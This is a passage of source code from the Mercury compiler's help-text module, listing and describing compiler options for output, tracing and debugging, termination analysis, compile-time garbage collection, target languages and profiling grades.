mmake.\",\n        \"-x,--make-xml-doc,--make-xml-documentation\",\n        \"\\tOutput XML documentation of the module\",\n        \"\\tinto the `<module>.xml' file.\",\n        \"\\tThis option should only be used by mmake.\",\n        \"-P, --convert-to-mercury\",\n        \"\\tConvert to Mercury. Output to file `<module>.ugly'\",\n        \"\\tThis option acts as a Mercury ugly-printer.\",\n        \"-t, --typecheck-only\",\n        \"\\tJust check that the code is syntactically correct and\",\n        \"\\ttype-correct. Don't check modes or determinism,\",\n        \"\\tand don't generate any code.\",\n        \"-e, --errorcheck-only\",\n        \"\\tCheck the module for errors, but do not generate any code.\",\n        \"-C, --target-code-only\",\n        \"\\tGenerate target code (i.e. C code in `<module>.c',\",\n        \"\\tIL code in `<module>.il', or Java code in\",\n        \"\\t`<module>.java'), but not object code.\",\n        \"-c, --compile-only\",\n        \"\\tGenerate C code in `<module>.c' and object code in `<module>.o'\",\n        \"\\tbut do not attempt to link the named modules.\",\n        % --compile-to-shared-lib is intended only for use\n        % by the debugger's interactive query facility,\n        % so it isn't documented.\n        \"--output-grade-string\",\n        \"\\tCompute the grade of the library to link with based on\",\n        \"\\tthe command line options, and print it to the standard\",\n        \"\\toutput.\",\n        \"--output-link-command\",\n        \"\\tPrint the command used to link executables to the\",\n        \"\\tstandard output.\",\n        \"--output-shared-lib-link-command\",\n        \"\\tPrint the command used to link shared libraries to the\",\n        \"\\tstandard output.\",\n        \"--output-libgrades\",\n        \"\\tPrint the list of compilation grades in which a library\",\n        \"\\tto be installed should be built to the standard output.\",\n        \"--output-cc\",\n        \"\\tPrint the command used to invoke the C compiler to the\",\n        \"\\tstandard output.\",\n        \"--output-cc-type, --output-c-compiler-type\",\n        \"\\tPrint the C compiler type to the standard output.\",\n        \"--output-cflags\",\n        \"\\tPrint the flags with which the C compiler will be invoked\",\n        \"\\tto the standard output.\",\n        \"--output-csharp-compiler-type\",\n        \"\\tPrint the C# compiler type to the standard output.\",\n        \"--output-library-link-flags\",\n        \"\\tPrint the flags that are passed to linker in order to link\",\n        \"\\tagainst the current set of libraries.  This includes the\",\n        \"\\tstandard library as well as any other libraries specified\",\n        \"\\tvia the --ml option.  The flags are printed to the standard\",\n        \"\\toutput.\",\n        \"--output-grade-defines\",\n        \"\\tPrint the flags that are passed to the C compiler to define the\",\n        \"\\tmacros used to specify the compilation grade.\",\n        \"\\tThe flags are printed to the standard output.\",\n        \"--output-c-include-dir-flags, --output-c-include-directory-flags\", \n        \"\\tPrint the flags that are passed to the C compiler to specify\",\n        \"\\twhich directories to search for C header files.\",\n        \"\\tThis includes the C header files from the standard library.\",\n        \"\\tThe flags are printed to the standard output.\"\n    ]).\n        \n:- pred options_help_aux_output(io::di, io::uo) is det.\n\noptions_help_aux_output -->\n    io.write_string(\"\\nAuxiliary Output Options:\\n\"),\n    write_tabbed_lines([\n        \"--smart-recompilation\",\n        \"\\tWhen compiling, write program dependency information\",\n        \"\\tto be used to avoid unnecessary recompilations if an\",\n        \"\\timported module's interface changes in a way which does\",\n        \"\\tnot invalidate the compiled code. `--smart-recompilation'\",\n        \"\\tdoes not yet work with `--intermodule-optimization'.\",\n        \"--no-assume-gmake\",\n        \"\\tWhen generating `.dep' files, generate Makefile\",\n        \"\\tfragments that use only the features of standard make;\",\n        \"\\tdo not assume the availability of GNU Make extensions.\",\n        \"\\tWhen generating `.dep' files, generate dependencies\",\n        \"\\tfor use by `mmc --make' in addition to the dependencies\",\n        \"\\tused by mmake.\",\n        \"--generate-mmc-deps\",\n        \"--generate-mmc-make-module-dependencies\",\n        \"\\tGenerate dependencies for use by `mmc --make' even\",\n        \"\\twhen using Mmake. This is recommended when building a\",\n        \"\\tlibrary for installation.\",\n\n% XXX The source-to-source debugging transform is not ready for public\n% consumption.\n        %\"--link-ssdebug-libs\",\n        %\"--link-ssdb-libs\",\n        %\"\\tLink the source to source debugging libraries into the\",\n        %\"\\tthe executable.\",\n        %\"--ss-trace {none, shallow, deep}\",\n        %\"\\tThe trace level to use for source to source debugging of\",\n        %\"\\tthe given module.\",\n\n% \"--trace decl\" is not documented, because it is for backwards\n% compatibility only.  It is now equivalent to `--trace rep'.\n%       \"--trace {minimum, shallow, deep, decl, rep, default}\",\n        \"--trace {minimum, shallow, deep, rep, default}\",\n        \"\\tGenerate code that includes the specified level\",\n        \"\\tof execution tracing.\",\n        \"\\tSee the Debugging chapter of the Mercury User's Guide\",\n        \"\\tfor details.\",\n        \"--exec-trace-tail-rec\",\n        \"\\tGenerate TAIL events for self-tail-recursive calls instead of\",\n        \"\\tEXIT events. This allows these recursive calls to reuse\",\n        \"\\ttheir parent call's stack frame, but it also means that\",\n        \"\\tthe debugger won't have access to the contents of the reused\",\n        \"\\tstack frames\",\n%       \"--suppress-trace <suppress-items>,\",\n%       \"\\tSuppress the named aspects of the execution tracing system.\",\n%       This is a developer-only option:\n%       \"--force-disable-trace\",\n%       \"\\tForce tracing to be set to trace level none.\",\n%       \"\\tThis overrides all other tracing/grade options.\",\n%       \"\\tIts main use is to turn off tracing in the browser\",\n%       \"\\tdirectory, even for .debug and .decldebug grades.\",\n        \"--trace-optimized\",\n        \"\\tDo not disable optimizations that can change the trace.\",\n% \"--trace-prof\" is not documented because if is only intended for developers\n% of the deep profiler.\n%       \"--trace-prof\"\",\n%       \"\\tEnable tracing of deep profiling service predicates.\",\n% I/O tabling is deliberately not documented. It is mean to be switched on,\n% with consistent parameters, in debugging grades, and to be consistently\n% switched off in non-debugging grades. Inconsistent use of the options\n% governing I/O tabling can yield core dumps from the debugger, so these\n% options are for implementors only.\n%       \"--trace-table-io\",\n%       \"\\tEnable the tabling of I/O actions, to allow the debugger\",\n%       \"\\tto execute retry commands across I/O actions.\",\n%       \"--trace-table-io-only-retry\",\n%       \"\\tSet up I/O tabling to support only retries across I/O\",\n%       \"\\tactions, not the printing of actions or declarative\",\n%       \"\\tdebugging. This reduces the size of the I/O action table.\",\n%       \"--trace-table-io-states\",\n%       \"\\tWhen tabling I/O actions, table the io.state arguments\",\n%       \"\\ttogether with the others. This should be required iff\",\n%       \"\\tvalues of type io.state actually contain information.\",\n%       \"--trace-table-io-require\",\n%       \"\\tRequire the tabling of I/O actions, i.e. generate an error\",\n%       \"\\tif an I/O primitive does not have the tabled_for_io\",\n%       \"\\tannotation.\",\n%       \"--trace-table-io-all\",\n%       \"\\tTable all I/O actions even in the absence of annotations.\",\n%       \"\\tIf a primitive has no annotation specifying the type of\",\n%       \"\\ttabling required, deduce it from the values of the other\",\n%       \"\\tannotations.\",\n        \"--trace-flag <keyword>\",\n        \"\\tEnable the trace goals that depend on the <keyword> trace flag.\",\n        \"--profile-optimized\",\n        \"\\tDo not disable optimizations that can distort deep profiles.\",\n        \"--no-delay-death\",\n        \"\\tWhen the trace level is `deep', the compiler normally\",\n        \"\\tpreserves the values of variables as long as possible, even\",\n        \"\\tbeyond the point of their last use, in order to make them\",\n        \"\\taccessible from as many debugger events as possible.\",\n        \"\\tHowever, it will not do this if this option is given.\",\n        \"--delay-death-max-vars <N>\",\n        \"\\tDelay the deaths of variables only when the number of variables\",\n        \"\\tin the procedure is no more than N. The default value is 1000.\",\n        \"--stack-trace-higher-order\",\n        \"\\tEnable stack traces through predicates and functions with\",\n        \"\\thigher-order arguments, even if stack tracing is not\",\n        \"\\tsupported in general.\",\n%       This is a developer-only option:\n%       \"--force-disable-ssdebug\",\n%       \"\\tDisable ssdebug transformation even in ssdebug grades.\",\n%       \"--tabling-via-extra-args\",\n%       \"\\tGenerate output via extra_args in foreign_procs.\",\n%       \"--allow-table-reset\",\n%       \"\\tGenerate C code for resetting tabling data structures.\",\n        \"--generate-bytecode\",\n        \"\\tOutput a bytecode form of the module for use\",\n        \"\\tby an experimental debugger.\",\n        \"-n-, --no-line-numbers\",\n        \"\\tDo not put source line numbers in the generated code.\",\n        \"\\tThe generated code may be in C (the usual case),\",\n        \"\\tor in Mercury (with the option --convert-to-mercury).\",\n        \"--auto-comments\",\n        \"\\tOutput comments in the `<module>.c' file.\",\n% This option is for developers only. Since it can include one C comment inside\n% another, the resulting code is not guaranteed to be valid C.\n%       \"--frameopt-comments\",\n%       \"\\tGet frameopt.m to generate comments describing its operation.\",\n        \"\\t(The code may be easier to understand if you also\",\n        \"\\tuse the `--no-llds-optimize' option.)\",\n        \"--max-error-line-width <n>\",\n        \"\\tSet the maximum width of an error message line to <n> characters\",\n        \"\\t(unless a long single word forces the line over this limit).\",\n        \"--show-dependency-graph\",\n        \"\\tWrite out the dependency graph to `<module>.dependency_graph'.\",\n        \"--imports-graph\",\n        \"\\tWrite out the imports graph to `<module>.imports_graph'.\",\n        \"\\tThe imports graph contains the directed graph module A\",\n        \"\\timports module B.\",\n        \"\\tThe resulting file can be processed by the graphviz tools.\",\n% This option is for developers only.\n%       \"--dump-trace-counts <stage number or name>\",\n%       \"\\tIf the compiler was compiled with debugging enabled and is being\",\n%       \"\\trun with trace counting enabled, write out the trace counts file\",\n%       \"\\tafter the specified stage to `<module>.trace_counts.<num>-<name>'.\",\n%       \"\\tStage numbers range from 1-599.\",\n%       \"\\tMultiple dump options accumulate.\",\n        \"-d <n>, --dump-hlds <stage number or name>\",\n        \"\\tDump the HLDS (high level intermediate representation) after\",\n        \"\\tthe specified stage to `<module>.hlds_dump.<num>-<name>'.\",\n        \"\\tStage numbers range from 1-599.\",\n        \"\\tMultiple dump options accumulate.\",\n        \"--dump-hlds-pred-id <n>\",\n        \"\\tDump the HLDS only of the predicate/function with the given\",\n        \"\\tpred id.\",\n        \"--dump-hlds-pred-name <name>\",\n        \"\\tDump the HLDS only of the predicate/function with the given\",\n        \"\\tname.\",\n% This option is for developers only.\n%       \"-D, --dump-hlds-alias <dump-alias>\",\n%       \"\\tWith `--dump-hlds', include extra detail in the dump.\",\n%       \"\\tEach dump alias is shorthand for a set of option letters.\",\n%       \"\\tThe list of aliases is in handle_options.m\",\n        \"--dump-hlds-options <options>\",\n        \"\\tWith `--dump-hlds', include extra detail in the dump.\",\n        \"\\tEach type of detail is included in the dump if its\",\n        \"\\tcorresponding letter occurs in the option argument\",\n        \"\\t(see the Mercury User's Guide for details).\",\n        \"--dump-hlds-inst-limit <N>\",\n        \"\\tDump at most N insts in each inst table.\",\n        \"--dump-hlds-file-suffix <suffix>\",\n        \"\\tAppend the given suffix to the names of the files created by\",\n        \"\\tthe `--dump-hlds' option.\",\n        \"--dump-same-hlds\",\n        \"\\tCreate a file for a HLDS stage even if the file notes only that\",\n        \"\\tthis stage is identical to the previously dumped HLDS stage.\",\n        \"--dump-mlds <stage number or name>\",\n        \"\\tDump the MLDS (medium level intermediate representation)\",\n        \"\\tafter the specified stage, as C code,\",\n        \"\\tto`<module>.c_dump.<num>-<name>',\",\n        \"\\tand `<module>.h_dump.<num>-<name>'.\",\n        \"\\tStage numbers range from 1-99.\",\n        \"\\tMultiple dump options accumulate.\",\n        \"--verbose-dump-mlds <stage number or name>\",\n        \"\\tDump the internal compiler representation of the MLDS, after\",\n        \"\\tthe specified stage, to `<module>.mlds_dump.<num>-<name>'.\"\n% The mode constraints code is still experimental so these options are\n% currently commented out.\n%       \"--mode-constraints\"\n%       \"\\tRun constraint based mode analysis. The default is to\",\n%       \"\\tuse the robdd solution using the full (subtyping)\",\n%       \"\\tconstraints and dump results.\",\n%       \"--simple-mode-constraints\",\n%       \"\\tUse only the simplified constraint system when running\",\n%       \"\\tthe robdd solver constraints based mode analysis.\",\n%       \"--prop-mode-constraints\",\n%       \"\\tUse the new propagation solver for constraints based\",\n%       \"\\tmode analysis.\",\n% IL options are commented out to reduce confusion.\n%       \"--sign-assembly\",\n%       \"\\tSign the current assembly with the Mercury strong name.\",\n%       \"\\tTo use assemblies created with this command all the Mercury\",\n%       \"\\tmodules must be compiled with this option enabled.\",\n%       \"\\tThis option is specific to the IL backend, and is likely\",\n%       \"\\tto be deprecated at a later date.\"\n\n        /* XXX currently broken.\n        \"--separate-assemblies\",\n        \"\\tPlace sub-modules in separate assemblies.\",\n        \"\\tThis option is specific to the IL backend.\"\n        */\n    ]).\n\n:- pred options_help_semantics(io::di, io::uo) is det.\n\noptions_help_semantics -->\n    io.write_string(\"\\nLanguage semantics options:\\n\"),\n    io.write_string(\"(See the Mercury language reference manual for detailed explanations.)\\n\"),\n    write_tabbed_lines([\n        \"--no-reorder-conj\",\n        \"\\tExecute conjunctions left-to-right except where the modes imply\",\n        \"\\tthat reordering is unavoidable.\",\n        \"--no-reorder-disj\",\n        \"\\tExecute disjunctions strictly left-to-right.\",\n        \"--no-fully-strict\",\n        \"\\tAllow infinite loops or goals with determinism erroneous to be\",\n        \"\\toptimised away.\",\n        \"--allow-stubs\",\n        \"\\tAllow procedures to have no clauses.  Any calls to\",\n        \"\\tsuch procedures will raise an exception at run-time.\",\n        \"\\tThis option is sometimes useful during program development.\",\n        \"\\t(See also the documentation for the `--warn-stubs' option\",\n        \"\\tin the \"\"Warning Options\"\" section.)\",\n        \"--infer-all\",\n        \"\\tAbbreviation for `--infer-types --infer-modes --infer-det'.\",\n        \"--infer-types\",\n        \"\\tIf there is no type declaration for a predicate or function,\",\n        \"\\ttry to infer the type, rather than just reporting an error.\",\n        \"--infer-modes\",\n        \"\\tIf there is no mode declaration for a predicate,\",\n        \"\\ttry to infer the modes, rather than just reporting an error.\",\n\n        \"--no-infer-det, --no-infer-determinism\",\n        \"\\tIf there is no determinism declaration for a procedure,\",\n        \"\\tdon't try to infer the determinism, just report an error.\",\n        \"--type-inference-iteration-limit <n>\",\n        \"\\tPerform at most <n> passes of type inference (default: 60).\",\n        \"--mode-inference-iteration-limit <n>\",\n        \"\\tPerform at most <n> passes of mode inference (default: 30).\",\n        \"--event-set-file-name <filename>\",\n        \"\\tGet the specification of user-defined events from <filename>.\"\n    ]).\n\n\n:- pred options_help_ctgc(io::di, io::uo) is det.\n\noptions_help_ctgc -->\n    io.write_string(\"\\nCompile Time Garbage Collection Options:\\n\"),\n    write_tabbed_lines([\n        \"--structure-sharing\",\n        \"\\tPerform structure sharing analysis.\",\n        \"--structure-sharing-widening <n>\",\n        \"\\tPerform widening when the set of structure sharing pairs becomes\",\n        \"\\tlarger than <n>. When n=0, widening is not enabled.\",\n        \"\\t(default: 0).\",\n        \"--structure-reuse, --ctgc\",\n        \"\\tPerform structure reuse analysis (Compile Time Garbage \",\n        \"\\tCollection).\",\n        \"--structure-reuse-constraint {same_cons_id, \",\n        \"\\twithin_n_cells_difference}, --ctgc-constraint {same_cons_id,\",\n        \"\\twithin_n_cells_difference}\",\n        \"\\tConstraint on the way we allow structure reuse. `same_cons_id'\",\n        \"\\tspecifies that reuse is only allowed between terms of the same\",\n        \"\\ttype and constructor. `within_n_cells_difference' states that\",\n        \"\\treuse is allowed as long as the arities between the reused term\",\n        \"\\tand new term does not exceed a certain threshold. The threshold \",\n        \"\\tneeds to be set using `--structure-reuse-constraint-arg'.\",\n        \"\\t(default: within_n_cells_difference, with threshold 0)\",\n        \"--structure-reuse-constraint-arg, --ctgc-constraint-arg\",\n        \"\\tSpecify the maximum difference in arities between the terms that\",\n        \"\\tcan be reused, and the terms that reuse these terms.\",\n        \"\\t(default: 0)\"\n\n% This option is for developers only.\n%       \"--structure-reuse-max-conditions\",\n%       \"\\tSoft limit on the number of reuse conditions to accumulate\",\n%       \"\\tfor a procedure. (default: 10)\"\n\n% This option is likely to break many optimisations which haven't been updated.\n%       \"--structure-reuse-free-cells\",\n%       \"\\tImmediately free cells which are known to be dead but which\",\n%       \"\\tcannot be reused.\"\n    ]).\n\n:- pred options_help_termination(io::di, io::uo) is det.\n\noptions_help_termination -->\n    io.write_string(\"\\nTermination Analysis Options:\\n\"),\n    write_tabbed_lines([\n        \"--enable-term, --enable-termination\",\n        \"\\tAnalyse each predicate to discover if it terminates.\",\n        \"--chk-term, --check-term, --check-termination\",\n        \"\\tEnable termination analysis, and emit warnings for some\",\n        \"\\tpredicates or functions that cannot be proved to terminate.\",\n        \"\\tIn many cases where the compiler is unable to prove termination\",\n        \"\\tthe problem is either a lack of information about the\",\n        \"\\ttermination properties of other predicates, or because language\",\n        \"\\tconstructs (such as higher order calls) were used which could\",\n        \"\\tnot be analysed.  In these cases the compiler does not emit a\",\n        \"\\twarning of non-termination, as it is likely to be spurious.\",\n        \"--verb-chk-term, --verb-check-term, --verbose-check-termination\",\n        \"\\tEnable termination analysis, and emit warnings for all\",\n        \"\\tpredicates or functions that cannot be proved to terminate.\",\n        \"--term-single-arg <n>, --termination-single-argument-analysis <n>\",\n        \"\\tWhen performing termination analysis, try analyzing\",\n        \"\\trecursion on single arguments in strongly connected\",\n        \"\\tcomponents of the call graph that have up to <n> procedures.\",\n        \"\\tSetting this limit to zero disables single argument analysis.\",\n        \"--termination-norm {simple, total, num-data-elems}\",\n        \"\\tThe norm defines how termination analysis measures the size\",\n        \"\\tof a memory cell. The `simple' norm says that size is always\",\n        \"\\tone.  The `total' norm says that it is the number of words\",\n        \"\\tin the cell.  The `num-data-elems' norm says that it is the\",\n        \"\\tnumber of words in the cell that contain something other\",\n        \"\\tthan pointers to cells of the same type.\",\n        \"--term-err-limit <n>, --termination-error-limit <n>\",\n        \"\\tPrint at most <n> reasons for any single termination error\",\n        \"\\t(default: 3).\",\n        \"--term-path-limit <n>, --termination-path-limit <n>\",\n        \"\\tPerform termination analysis only on predicates\",\n        \"\\twith at most <n> paths (default: 256).\"\n\n% The following options are used to control the new termination analyser.\n% They are currently disabled because that is still a work-in-progress.\n%\n%       \"--enable-term2, --enable-termination2\",\n%       \"\\tAnalyse each predicate to discover if it terminates. \",\n%       \"\\tThis uses an alternative termination analysis based\",\n%       \"\\ton convex constraints.\",\n%       \"--chk-term2, --check-termination2\",\n%       \"\\tEnable the alternative termination analysis, and emit warnings for\",\n%       \"\\tsome predicates or functions that cannot be proved to terminate.  In\",\n%       \"\\tmany cases where the compiler is unable to prove termination\",\n%       \"\\tthe problem is either a lack of information about the\",\n%       \"\\ttermination properties of other predicates, or because language\",\n%       \"\\tconstructs (such as higher order calls) were used which could\",\n%       \"\\tnot be analysed.  In these cases the compiler does not emit a\",\n%       \"\\twarning of non-termination, as it is likely to be spurious.\",\n%       \"--verb-chk-term2, --verb-check-term2, --verbose-check-termination2\",\n%       \"--termination2-norm {simple, total, num-data-elems}\",\n%       \"\\tTell the alternative termination analyser which norm to use.\",\n%       \"\\tSee the description of the `--termination-norm' option for a\",\n%       \"\\tdescription of the different types of norm available.\"\n%       \"--term2-widening-limit <n>, --termination2-widening-limit <n>\",\n%       \"\\tSet the threshold for the number of iterations after which the\",\n%       \"\\targument size analyser invokes widening.\",\n%       \"--term2-propagate-failure-constrs, --termination2-propagate-failure-constraints\",\n%       \"\\tMake the argument analyser infer information about the sizes of any\"\n%       \"\\tinputs to a goal in contexts where that goal fails.\"\n%       \"--term2-max-matrix-size <n>, --termination2-maximum-matrix-size <n>\",\n%       \"\\tLimit the sizes of constraints systems in the analyser to <n>\",\n%       \"\\tconstraints.  Use approximations of some constraint operations,\",\n%       \"\\tsuch as projection, if this threshold is exceeded.  This will\",\n%       \"\\tspeed up the analysis at the cost of reduced precision.\",\n\n% This option is for developers only.\n% It is useful for benchmarking the argument size analysis.\n%       \"--term2-argument-size-analysis-only, --term2-arg-size-analysis-only\",\n%       \"\\tPerform argument size analysis on each SCC but do not\",\n%       \"\\tattempt to infer termination,\"\n    ]).\n\n:- pred options_help_compilation_model(io::di, io::uo) is det.\n\noptions_help_compilation_model -->\n    io.write_string(\"\\nCompilation model options:\\n\"),\n    write_tabbed_lines([\n        \"The following compilation options affect the generated\",\n        \"code in such a way that the entire program must be\",\n        \"compiled with the same setting of these options,\",\n        \"and it must be linked to a version of the Mercury\",\n        \"library which has been compiled with the same setting.\",\n        \"\",\n        \"-s <grade>, --grade <grade>\",\n        \"\\tSelect the compilation model. The <grade> should be one of\",\n        \"\\tthe base grades `none', `reg', `jump', `asm_jump', `fast', \",\n        \"\\t`asm_fast', `hl', `hlc', `il', or `java',\",\n% The hl, hl_nest, and hlc_nest are not yet documented, because\n% the --high-level-data option is not yet supported for C,\n% and the --gcc-nested-functions option is not yet documented.\n% The ilc grade is not documented because it is not useful;\n% it has been superceded by the il grade.\n        \"\\tor one of those with one or more of the grade modifiers\",\n        \"\\t`.gc', `.mps', `.prof', `.memprof', `.profdeep', `.tr',\",\n        \"\\t`.spf', `.stseg', `.debug', `.par' and/or `.pic_reg' appended.\",\n        \"\\tDepending on your particular installation, only a subset\",\n        \"\\tof these possible grades will have been installed.\",\n        \"\\tAttempting to use a grade which has not been installed\",\n        \"\\twill result in an error at link time.\"\n    ]),\n\n    io.write_string(\"\\n    Target selection compilation model options:\\n\"),\n    write_tabbed_lines([\n        \"--target c\\t\\t\\t(grades: none, reg, jump, fast,\",\n        \"\\t\\t\\t\\t\\tasm_jump, asm_fast, hl, hlc)\",\n        \"--target il\\t\\t\\t(grades: il)\",\n        \"--target csharp\\t\\t\\t(grades: csharp)\",\n        \"--target java\\t\\t\\t(grades: java)\",\n        \"--target erlang\\t\\t\\t(grades: erlang)\",\n        \"\\tSpecify the target language: C, IL, C#, Java or Erlang.\",\n        \"\\tThe default is C.  \"\"IL\"\" (also known as \"\"CIL\"\" or \"\"MSIL\"\")\",\n        \"\\tis the Intermediate Language for the .NET Common Language\",\n        \"\\tRuntime.\",\n        \"\\tTargets other than C imply `--high-level-code' (see below).\",\n\n% IL options are commented out to reduce confusion.\n%       \"--il\",\n%       \"\\tAn abbreviation for `--target il'.\",\n%       \"--il-only\",\n%       \"\\tAn abbreviation for `--target il --target-code-only'.\",\n%       \"\\tGenerate IL code in `<module>.il', but do not generate\",\n%       \"\\tobject code.\",\n%\n%       \"--dotnet-library-version <version-number>\",\n%       \"\\tThe version number for the mscorlib assembly distributed\",\n%       \"\\twith the Microsoft .NET SDK.\",\n%\n%       \"--no-support-ms-clr\",\n%       \"\\tDon't use MS CLR specific workarounds in the generated code.\",\n%\n%       \"--support-rotor-clr\",\n%       \"\\tUse specific workarounds for the ROTOR CLR in the generated\",\n%       \"\\tcode.\",\n\n        \"--csharp\",\n        \"\\tAn abbreviation for `--target csharp'.\",\n        \"--csharp-only\",\n        \"\\tAn abbreviation for `--target csharp --target-code-only'.\",\n        \"\\tGenerate C# code in `<module>.cs', but do not generate\",\n        \"\\tobject code.\",\n\n        \"--java\",\n        \"\\tAn abbreviation for `--target java'.\",\n        \"--java-only\",\n        \"\\tAn abbreviation for `--target java --target-code-only'.\",\n        \"\\tGenerate Java code in `<module>.java', but do not generate\",\n        \"\\tobject code.\",\n\n        \"--erlang\",\n        \"\\tAn abbreviation for `--target erlang'.\",\n        \"--erlang-only\",\n        \"\\tAn abbreviation for `--target erlang --target-code-only'.\",\n        \"\\tGenerate Erlang code in `<module>.erl', but do not generate\",\n        \"\\tobject code.\",\n\n        \"--compile-to-c\",\n        \"\\tAn abbreviation for `--target c --target-code-only'.\",\n        \"\\tGenerate C code in `<module>.c', but do not generate object\",\n        \"\\tcode.\"\n    ]),\n\n    io.write_string(\"\\n    Optional feature compilation model options:\\n\"),\n    io.write_string(\"      Debugging\\n\"),\n    write_tabbed_lines([\n        \"--debug\\t\\t\\t\\t(grade modifier: `.debug')\",\n        \"\\tEnable Mercury-level debugging.\",\n        \"\\tSee the Debugging chapter of the Mercury User's Guide\",\n        \"\\tfor details.\",\n        \"\\tThis option is not yet supported for the `--high-level-code'\",\n        \"\\tback-ends.\",\n        \"--decl-debug\\t\\t\\t\\t(grade modifier: `.decldebug')\",\n        \"\\tEnable full support for declarative debugging.\",\n        \"\\tThis allows subterm dependency tracking in the declarative\",\n        \"\\tdebugger.\",\n        \"\\tSee the Debugging chapter of the Mercury User's Guide\",\n        \"\\tfor details.\",\n        \"\\tThis option is not yet supported for the `--high-level-code'\",\n        \"\\tback-ends.\"\n% XXX The source-to-source debugging transform is not ready for public\n% consumption.\n%       \"--ss-debug\\t\\t\\t\\t(grade modifier: `.ssdebug')\",\n%       \"\\tEnable the source-to-source debugging transform.\"\n    ]),\n    io.write_string(\"      Profiling\\n\"),\n    write_tabbed_lines([\n        \"-p, --profiling, --time-profiling\",\n        \"\\t\\t\\t\\t(grade modifier: `.prof')\",\n        \"\\tEnable time and call profiling.  Insert profiling hooks in the\",\n        \"\\tgenerated code, and also output some profiling\",\n        \"\\tinformation (the static call graph) to the file\",\n        \"\\t`<module>.prof'.\",\n        \"\\tThis option is not supported for the IL, C# or Java back-ends.\",\n        \"--memory-profiling\\t\\t(grade modifier: `.memprof')\",\n        \"\\tEnable memory and call profiling.\",\n        \"\\tThis option is not supported for the IL, C# or Java back-ends.\",\n        \"--deep-profiling\\t\\t(grade modifier: `.profdeep')\",\n        \"\\tEnable deep profiling.\",\n        \"\\tThis option is not supported for the high-level C, IL, C#\",\n        \"\\tor Java back-ends.\",\n\n% This option is not documented, it is intended for use by developers only.\n%\n%       \"--pre-prof-transforms-simplify\",\n%       \"\\tForce the pre-profiling simplification pass that is usually\",\n%       \"\\tenabled when building a profiling version of a program.  This\",\n%       \"\\tallows a developer to enable this pass when using a\",\n%       \"\\tnon-profiling build.  It can be used to test that generated code\",\n%       \"\\tintroduced in earlier passes is well-formed before it is\",\n%       \"\\tpotentially removed by the dead procedure elimination pass later\",\n%       \"\\ton.\",\n%\n\n% XXX The following options are not documented,\n% because they are currently not useful.\n% The idea was for you to be able to use --profile-calls\n% and --profile-time separately, but that doesn't work\n% because compiling with --profile-time instead of\n% --profile-calls results in different code addresses,\n% so you can't combine the data from versions of\n% your program compiled with different options.\n%\n%       \"--profile-calls\\t\\t(grade modifier: `.profcalls')\",\n%       \"\\tSimilar to `--profiling', except that only gathers\",\n%       \"\\tcall counts, not timing information.\",\n%       \"\\tUseful on systems where time profiling is not supported,\",\n%       \"\\tbut not as useful as `--memory-profiling'.\",\n%       \"--profile-time\\t\\t(grade modifier: `.proftime')\",\n%       \"\\tSimilar to `--profiling', except that it only gathers\",\n%       \"\\ttiming information, not call counts.\",\n%       \"--profile-memory\\t\\t(grade modifier: `.profmem')\",\n%       \"\\tSimilar to `--memory-profiling', except that it only\",\n%       \"\\tgathers memory usage information, not call counts.\",\n\n        \"--no-coverage-profiling\",\n        \"\\tDisable coverage profiling.\",\n% The following options are for implementors only (intended for experiments).\n%       \"--coverage-profiling-via-calls\",\n%       \"\\tUse calls to implement coverage points, not inline foreign code.\",\n\n%       \"--coverage-profiling-static\",\n%       \"\\tDisable dynamic coverage profiling, this uses less memory and may \",\n%       \"\\tbe faster.\",\n\n%       \"Switches to effect coverage profiling (part of deep profiling). \",\n%       \"they enable different types of coverage points.\",\n\n%       \"--no-profile-deep-coverage-after-goal\",\n%       \"\\tDisable coverage points after goals.\",\n%       \"--no-profile-deep-coverage-branch-ite\",\n%       \"\\tDisable coverage points at the beginning of then and else\",\n%       \"\\tbranches.\",\n%       \"--no-profile-deep-coverage-branch-switch\",\n%       \"\\tDisable coverage points at the beginning of switch branches.\",\n%       \"--no-profile-deep-coverage-branch-disj\",\n%       \"\\tDisable coverage points at the beginning of disjunction branches.\",\n\n%       I beleive these options are broken - pbone.\n%       \"Switches to tune the coverage profiling pass, useful for \",\n%       \"debugging.\",\n%\n%       \"--no-profile-deep-coverage-use-portcounts\",\n%       \"\\tTurn off usage of port counts in the deep profiler to provide\",\n%       \"\\tsome coverage information.\",\n%       \"--no-profile-deep-coverage-use-trivial\",\n%       \"\\tTurn off usage of trivial goal information\",\n\n        \"--profile-for-feedback\",\n        \"\\tSelect deep profiling options suitable for profiler directed\",\n        \"\\timplicit parallelism.\",\n        \"\\t--profile-for-implicit-parallelism is a deprecated synonym for\",\n        \"\\tthis option\",\n\n        \"--record-term-sizes-as-words\\t\\t(grade modifier: `.tsw')\",\n        \"\\tAugment each heap cells with its size in words.\",\n        \"--record-term-sizes-as-cells\\t\\t(grade modifier: `.tsc')\",\n        \"\\tAugment each heap cells with its size in cells.\",\n\n        \"--experimental-complexity=<filename>\\t\\t\",\n        \"\\tEnable experimental complexity analysis for the predicates\",\n        \"\\tlisted in the given file.\",\n        \"\\tThis option is supported for the C back-end, with\",\n        \"\\t--no-highlevel-code.\",\n\n        \"--threadscope\\t\\t(grade modifier: `.threadscope')\",\n        \"\\tEnable support for profiling parallel execution.\",\n        \"\\tThis option is supported by the low-level C back-end parallel\",\n        \"\\tgrades on some processors, See README.ThreadScope for details.\"\n    ]),\n\n    io.write_string(\"      Miscellaneous optional features\\n\"),\n    write_tabbed_lines([\n        \"--gc {none, boehm, hgc, mps, accurate, automatic}\",\n        \"--garbage-collection {none, boehm, hgc, mps, accurate, automatic}\",\n        \"\\t\\t\\t\\t(`java', `csharp', `il' and `erlang'\",\n        \"\\t\\t\\t\\t\\tgrades use `--gc automatic',\",\n        \"\\t\\t\\t\\t`.gc' grades use `--gc boehm',\",\n        \"\\t\\t\\t\\t`.hgc' grades use `--gc hgc',\",\n        \"\\t\\t\\t\\t`.mps' grades use `--gc mps',\",\n        \"\\t\\t\\t\\tother grades use `--gc none'.)\",\n        \"\\tSpecify which method of garbage collection to use\",\n        \"\\t(default: boehm).\",\n        \"\\t`boehm' is Hans Boehm et al's conservative collector.\",\n        \"\\t`hgc' is our own conservative collector;\",\n        \"\\t`accurate' is our own type-accurate copying GC;\",\n        \"\\tit requires `--high-level-code'.\",\n        \"\\t`mps' is a different conservative collector, based on\",\n        \"\\tRavenbrook Limited's MPS (Memory Pool System) kit.\",\n        \"\\t`automatic' means the target language provides it.\",\n        \"\\tThis is the case for the IL, C#, Java and Erlang back-ends,\",\n        \"\\twhich always use the garbage collector of the underlying\",\n        \"\\timplementation.\",\n        \"--use-trail\\t\\t\\t(grade modifier: `.tr')\",\n        \"\\tEnable use of a trail.\",\n        \"\\tThis is necessary for 